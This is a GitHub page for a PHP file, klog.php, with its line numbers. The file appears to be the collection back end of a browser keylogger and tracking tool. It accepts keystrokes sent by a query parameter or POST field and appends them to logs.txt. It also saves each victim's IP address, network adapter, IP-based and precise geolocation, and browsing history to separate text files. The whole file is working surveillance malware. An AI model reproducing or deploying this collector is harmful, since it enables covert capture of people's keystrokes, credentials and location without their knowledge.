-
Notifications
You must be signed in to change notification settings - Fork 180
/
klog.php
60 lines (50 loc) · 1.08 KB
/
klog.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
//Report code not implemented
$str = isset ($_GET['log']) ? $_GET['log'] : false ;
if ($str) {
$ff = fopen ('logs.txt', 'a+') ;
fputs ($ff,$str) ;
fputs ($ff,' ') ;
fclose ($ff) ;
}
$net=$_POST['net'];
$loga="adapter.txt";
$fn = fopen($loga, "w");
fwrite($fn, $net);
fclose($fn);
$ip=$_POST['ip'];
$log="ip.txt";
$f = fopen($log, "w");
fwrite($f, $ip);
fclose($f);
$key=$_POST['key'];
$key=stripslashes($key);
$logfile="logs.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
//IP2GeoLoc
$ipgeo=$_POST['ipgeo'];
$ipgeo=stripslashes($ipgeo);
$fpg = fopen("ipgeo.txt", "w");
fwrite($fpg, $ipgeo);
fclose($fpg);
//Geoloc
$geo=$_POST['geo'];
$geo=stripslashes($geo);
$fpz = fopen("geo.txt", "w");
fwrite($fpz, $geo);
fclose($fpz);
//Visted
$vi=$_POST['visit'];
$vi=stripslashes($vi);
$fpg = fopen("browser.txt", "w");
fwrite($fpg, PHP_EOL .'Visited'. PHP_EOL .$vi);
fclose($fpg);
//Not Visted
$nvi=$_POST['not_visit'];
$nvi=stripslashes($nvi);
$fpg = fopen("browser.txt", "a");
fwrite($fpg, PHP_EOL . PHP_EOL .'Not Visited'. PHP_EOL .$nvi);
fclose($fpg);
?>